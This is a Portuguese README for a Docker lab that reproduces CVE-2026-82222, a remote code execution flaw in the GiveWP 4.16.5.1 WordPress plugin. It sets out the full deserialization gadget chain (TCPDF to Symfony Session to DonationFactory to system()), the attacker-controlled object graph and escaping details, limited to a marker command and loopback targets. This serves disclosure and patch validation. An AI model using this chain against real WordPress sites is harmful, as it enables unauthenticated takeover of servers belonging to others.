CVE-2026-82222 — Laboratório de Validação de RCE Somente com Marcador no GiveWP

Material de pesquisa em segurança para reproduzir e validar CVE-2026-82222 em um laboratório Docker isolado.

Para PoC de RCE direto e varredura de URL, use CVE-2026-8222-RCE.py

Veredito

Status: comprovado no laboratório fornecido

O GiveWP 4.16.5.1 permite que um atacante inicialmente não autenticado persista um grafo de objetos PHP, o reviva por meio do gerenciamento de sessão do GiveWP e execute um comando marcador fixo como o usuário do servidor web WordPress.

Resultado positivo testado:

GiveWP:    4.16.5.1
WordPress: 6.6.2
PHP:       8.1.30
Resultado: /tmp/CVE-2026-82222-RCE-GETBAG criado por www-data

O resultado de ponta a ponta também foi reproduzido contra o código-fonte original, não instrumentado, do GiveWP 4.16.5.1. O GiveWP 4.16.7.2 bloqueou o transportador HTTP na configuração testada e bloqueou de forma independente o gadget terminal durante um controle direto.

Isso demonstra execução de comandos dentro do contêiner WordPress. Não demonstra acesso root, escape de contêiner, movimento lateral ou comprometimento do host.

Limite de segurança

Use este repositório somente em sistemas que você possui ou para os quais está explicitamente autorizado a testar.

O PoC fornecido é intencionalmente restrito:

• Executa apenas touch /tmp/CVE-2026-82222-RCE-GETBAG.
• Não oferece opção de comando arbitrário.
• Não cria shell, callback, persistência ou escalonamento de privilégios.
• Recusa alvos fora do loopback, a menos que o operador forneça explicitamente a flag --allow-authorized-non-loopback.
• O Docker publica o WordPress somente em 127.0.0.1.
• O nome do projeto Compose é derivado do caminho do checkout, de modo que um clone não pode derrubar os contêineres ou volumes de outro clone.
• O laboratório usa o código-fonte oficial original do plugin; ele não instrumenta nem corrige o alvo vulnerável.

O teste HTTP cria um usuário doador descartável, metadados e linhas de sessão do GiveWP. Use o comando de redefinição incluído após o teste.

Início rápido

Pré-requisitos:

• Docker com Compose v2
• Python 3.10 ou posterior
• curl
• unzip
• sha256sum ou shasum
• Acesso à rede para downloads.wordpress.org para arquivos oficiais do plugin

Execute a matriz completa vulnerável/corrigido:

./lab verify

O comando:

1. Baixa o GiveWP 4.16.5.1 e 4.16.7.2 do WordPress.org.
2. Verifica ambos os hashes SHA-256.
3. Constrói um laboratório novo somente-loopback WordPress 6.6.2/PHP 8.1 com o registro normal do WordPress explicitamente desabilitado.
4. Testa o 4.16.5.1 original e exige a criação do marcador pelo usuário web.
5. Constrói um segundo laboratório novo com o 4.16.7.2 original.
6. Exige que o marcador HTTP permaneça ausente.
7. Ignora a entrada em um controle direto e confirma que o terminal corrigido ProviderForwarder também rejeita o callable de string.

O laboratório corrigido permanece em execução ao final. Remova-o com:

./lab reset

Para usar outra porta de loopback:

LAB_PORT=8099 ./lab verify

Evidência esperada

O controle vulnerável deve terminar com evidência terminal concreta:

[PASS] E1: registro não autenticado emitiu cookie de autenticação
[PASS] E3: grafo serializado persistido no próprio last_name
[PASS] E4: nonce de formulário de doação obtido
[PASS] E5: gravação de sessão atingiu o status HTTP pós-sink esperado=500
[PASS] E6: gatilho de leitura/destruição de sessão concluído
marcador presente e de propriedade do usuário web WordPress
RESULTADO: CONTROLE VULNERÁVEL CONFIRMADO

O controle corrigido deve mostrar:

[PASS] P1: gate de registro corrigido bloqueou cookie de autenticação
DIRECT_MARKER=ausente
marcador HTTP ausente e gadget terminal direto bloqueado
RESULTADO: CONTROLE CORRIGIDO CONFIRMADO

Um HTTP 500, payload armazenado, exceção ou detecção sem o marcador não é aceito como prova de RCE.

Ciclo de vida manual do laboratório

Inicie e teste a versão vulnerável:

./lab start vulnerable
./lab test

Inicie e teste a versão corrigida:

./lab start patched
./lab test

Inspecione o estado atual:

./lab status

Remova contêineres, volumes, usuários de teste, sessões e estado do marcador:

./lab reset

ZIPs de plugins em cache e ativos extraídos são preservados para reexecuções mais rápidas. Remova também esses ativos gerados exatos com:

./lab reset --purge-assets

Versões afetadas e testadas

Versão	Avaliação
GiveWP 4.16.5.1	RCE reproduzido de ponta a ponta
GiveWP 4.16.6–4.16.7.1	Relatado como afetado; não reproduzido individualmente aqui
GiveWP 4.16.7.2	Controles negativos corrigidos reproduzidos
Versões posteriores	Não testadas individualmente; atualize para a versão suportada mais recente

O aviso público identifica as versões até 4.16.7.1 como afetadas. Este repositório prova diretamente apenas as duas versões em sua matriz de testes positivo/negativo.

Referências:

• Aviso Patchstack
• CVE-2026-82222
• Commit de endurecimento do GiveWP
• Página oficial do plugin GiveWP

Causa raiz

A exploração combina vários comportamentos:

1. O GiveWP 4.16.5.1 expõe uma ação de registro que cria e autentica um doador de baixo privilégio mesmo quando o registro normal do WordPress está desabilitado.
2. Esse usuário pode persistir dados serializados em seus próprios metadados de nome.
3. Give\Helpers\Utils::maybeSafeUnserialize() usa allowed_classes => false, produzindo __PHP_Incomplete_Class, mas uma serialização posterior preserva os nomes e propriedades de classe originais.
4. O grafo é armazenado em uma sessão de compra do GiveWP.
5. Um maybe_unserialize() irrestrito posterior revive as classes fornecidas.
6. A destruição automática entra em uma cadeia POP completa até system().

Quatro barras invertidas literais de namespace são necessárias no transportador HTTP. As duas passagens efetivas de remoção as reduzem 4 -> 2 -> 1. O payload é livre de NUL, e o PHP 8.1.30 foi verificado para hidratar o nome serializado simples para a propriedade privada Session::$attributeName.

Cadeia POP completa

TCPDF::__destruct()
  -> TCPDF::_destroy(true)
  -> foreach ($this->imagekeys as $file)
  -> Symfony Session::getIterator()
  -> Session::getAttributeBag()
  -> Session::getBag($this->attributeName)
  -> $this->storage->getBag($attributeName)
  -> DonationFactory->__call('getBag', [$attributeName])
  -> call_user_func_array('system', [$attributeName])
  -> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')

Grafo controlado pelo atacante:

TCPDF
├── file_id = identificador único de requisição
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
    ├── attributeName = comando marcador fixo
    └── storage = Give\TestData\Factories\DonationFactory
        └── loadedProviders["getBag"] = "system"

A transição oculta crítica é o despacho implícito de IteratorAggregate do PHP. TCPDF::$imagekeys não é tipado, então atribuir uma Session do Symfony faz com que foreach invoque Session::getIterator().

O comando marcador é executado antes que o Symfony aplique o tipo de retorno getAttributeBag(): AttributeBagInterface. O TypeError resultante e o HTTP 500 são efeitos pós-sink.

O que tentativas anteriores não perceberam

O grafo candidato rejeitado usava:

TCPDF::$objcopy
  -> DonationFactory::$loadedProviders['__destruct'] = 'system'